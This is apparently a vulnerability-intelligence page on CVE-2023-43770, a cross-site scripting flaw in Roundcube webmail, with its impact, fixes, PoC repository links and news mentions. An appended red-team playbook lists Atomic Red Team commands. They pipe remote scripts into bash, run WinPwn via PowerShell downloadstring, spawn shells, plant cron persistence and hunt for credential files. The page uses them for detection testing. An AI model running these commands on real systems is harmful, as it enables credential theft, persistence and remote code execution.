CVE-2023-43770
Overview
This vulnerability is a cross-site scripting (XSS) flaw rooted in improper sanitization of crafted links within text/plain email messages. The issue arises from the behavior of the rcube_string_replacer.php component in Roundcube, which fails to correctly handle and neutralize malicious input embedded in email content. This affects the email rendering logic in the Roundcube webmail client across multiple versions prior to 1.4.14, 1.5.4, and 1.6.3.
Vulnerability Description
Roundcube before 1.4.14, 1.5.x before 1.5.4, and 1.6.x before 1.6.3 allows XSS via text/plain e-mail messages with crafted links because of program/lib/Roundcube/rcube_string_replacer.php behavior.
Impact
An unauthenticated attacker can exploit this vulnerability by sending a maliciously crafted email that, when viewed by the user, executes arbitrary JavaScript in the victim’s browser. This can lead to session hijacking, theft of sensitive information, or unauthorized actions performed on behalf of the user within the Roundcube webmail interface. The attack requires user interaction to open or preview the malicious email but does not require any prior access or elevated privileges. This can result in compromise of user confidentiality and integrity within the affected webmail environment.
Solution
Users and administrators should upgrade Roundcube to version 1.4.14, 1.5.4, or 1.6.3 or later as these releases contain the fix for this XSS vulnerability. Debian users should apply the security update provided for Debian Linux 10.0 as announced in the Debian LTS advisory. Detailed patch instructions and release notes are available at https://roundcube.net/news/2023/09/15/security-update-1.6.3-released and the Debian LTS announcement at https://lists.debian.org/debian-lts-announce/2023/09/msg00024.html.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
|
|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
|
|
Roundcube | Webmail | All |
cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (4)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
s3cb0y/CVE-2023-43770-POC
A Proof-Of-Concept for the CVE-2023-43770 vulnerability.
|
s3cb0y | 35 | 11 | 2023-09-27 | View |
|
knight0x07/CVE-2023-43770-PoC
PoC for Stored XSS (CVE-2023-43770) Vulnerability
|
knight0x07 | 3 | 0 | 2023-09-28 | View |
|
PoC
|
- | 0 | 0 | - | View |
|
skyllpro/CVE-2021-44026-PoC
Bug Chain XSS (CVE-2020-35730 and CVE-2023-43770) to SQLi (CVE-2021-44026)
|
skyllpro | 0 | 0 | 2025-04-20 | View |
Threat Feed
16 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 33 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
62 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (23)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
news thehackernews.com 2025-10-09 07:00 UTCFrom Phishing to Malware: AI Becomes Russia's New Cyber Weapon in War on Ukraine - The Hacker NewsOpen source
-
news therecord.media 2025-10-08 07:00 UTCRussian hackers turn to AI as old tactics fail, Ukrainian CERT says - The Record from Recorded Future NewsOpen source
-
news darkreading.com 2025-06-10 07:00 UTCPoC Code Escalates Roundcube Vuln Threat - Dark ReadingOpen source
-
news ithome.com.tw 2025-05-15 17:00 UTCCVE‑2023‑43770Open source
-
news welivesecurity.com 2025-05-15 07:00 UTCOperation RoundPress targeting high-value webmail servers - WeLiveSecurityOpen source
-
news eset.com 2025-05-15 07:00 UTCESET Research uncovers Operation RoundPress: Russia-aligned Sednit targets entities linked to the Ukraine war to steal confidential data - ESETOpen source
-
news thehackernews.com 2025-05-15 07:00 UTCRussia-Linked APT28 Exploited MDaemon Zero-Day to Hack Government Webmail Servers - The Hacker NewsOpen source
-
code github.com skyllpro 2025-04-20 07:30 UTCskyllpro/CVE-2021-44026-PoCOpen source
-
news fieldeffect.com 2024-10-22 07:00 UTCRoundcube Webmail flaw actively exploited - Field EffectOpen source
-
news helpnetsecurity.com 2024-08-07 07:00 UTCRoundcube flaws allow easy email account compromise (CVE-2024-42009, CVE-2024-42008) - Help Net SecurityOpen source
-
social bsky.app @crawler.baldanders.info 2024-02-26 09:40 UTC> USN-6654-1: Roundcube Webmail vulnerability https://ubuntu.com/security/notices/USN-6654-1Open source
-
social bsky.app @shadowserver.bsky.social 2024-02-21 21:01 UTCLatest RoundCube release news and updates - roundcube.net/news/ IPs shared in shadowserver.org/what-we-do/n... Dashboard World Map: dashboard.shadowserver.org/statistics/c... CVE-2023-43770 tracker: dashboard.shadowserver.org/statistics/c.…Open source
-
social bsky.app @shadowserver.bsky.social 2024-02-21 21:00 UTCLast week we also started sharing RoundCube CVE-2023-43770 vulnerable servers. This vulnerability was recently added to CISA Known Exploited Vulnerabilities (KEV) catalog. As of 2024-02-20 we still see ~39K instances vulnerable. Investigat…Open source
-
news therecord.media 2024-02-17 08:00 UTCRussia-aligned hackers target European and Iranian embassies in new espionage campaign - The Record from Recorded Future NewsOpen source
-
news thehackernews.com 2024-02-13 08:00 UTCAlert: CISA Warns of Active 'Roundcube' Email Attacks - Patch Now - The Hacker NewsOpen source
-
social bsky.app @governa.lol 2024-02-13 07:03 UTCAlert: #CISA Warns of Active #Roundcube Email Attacks ⚠️ thehackernews.com/2024/02/aler...Open source
-
social bsky.app @infosec.skyfleet.blue 2024-02-13 05:01 UTCAlert: CISA Warns of Active 'Roundcube' Email Attacks - Patch NowOpen source
-
social bsky.app @techit.bsky.social 2024-02-13 05:00 UTCAlert: CISA Warns of Active 'Roundcube' Email Attacks - Patch Now #thehackersnewsOpen source
-
news helpnetsecurity.com 2024-02-13 01:36 UTCRoundcube webmail XSS vulnerability exploited by attackers (CVE-2023-43770)Open source
-
social bsky.app @opfuchs.gay 2023-09-30 10:13 UTCCVE-2023-43770 (XSS in Roundcube prior to v. 1.4.14/1.5.4/1.6.3) PoC by s3cb0y: github.com/s3cb0y/CVE-2...Open source
-
code github.com knight0x07 2023-09-28 13:43 UTCknight0x07/CVE-2023-43770-PoCOpen source
-
code github.com s3cb0y 2023-09-27 17:08 UTCs3cb0y/CVE-2023-43770-POCOpen source
-
social bsky.app @infosec.skyfleet.blue 2023-09-25 14:39 UTCRoundcube Webmail XSS Vulnerability Exposes Sensitive DataOpen source
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-43770 |
| github.com |
GitHub CVE
|
https://github.com/roundcube/roundcubemail/commit/e92ec206a886461245e1672d8530cc93c618a49b |
| roundcube.net |
GitHub CVE
|
https://roundcube.net/news/2023/09/15/security-update-1.6.3-released |
| lists.debian.org |
GitHub CVE
mailing-list
|
https://lists.debian.org/debian-lts-announce/2023/09/msg00024.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-43770 |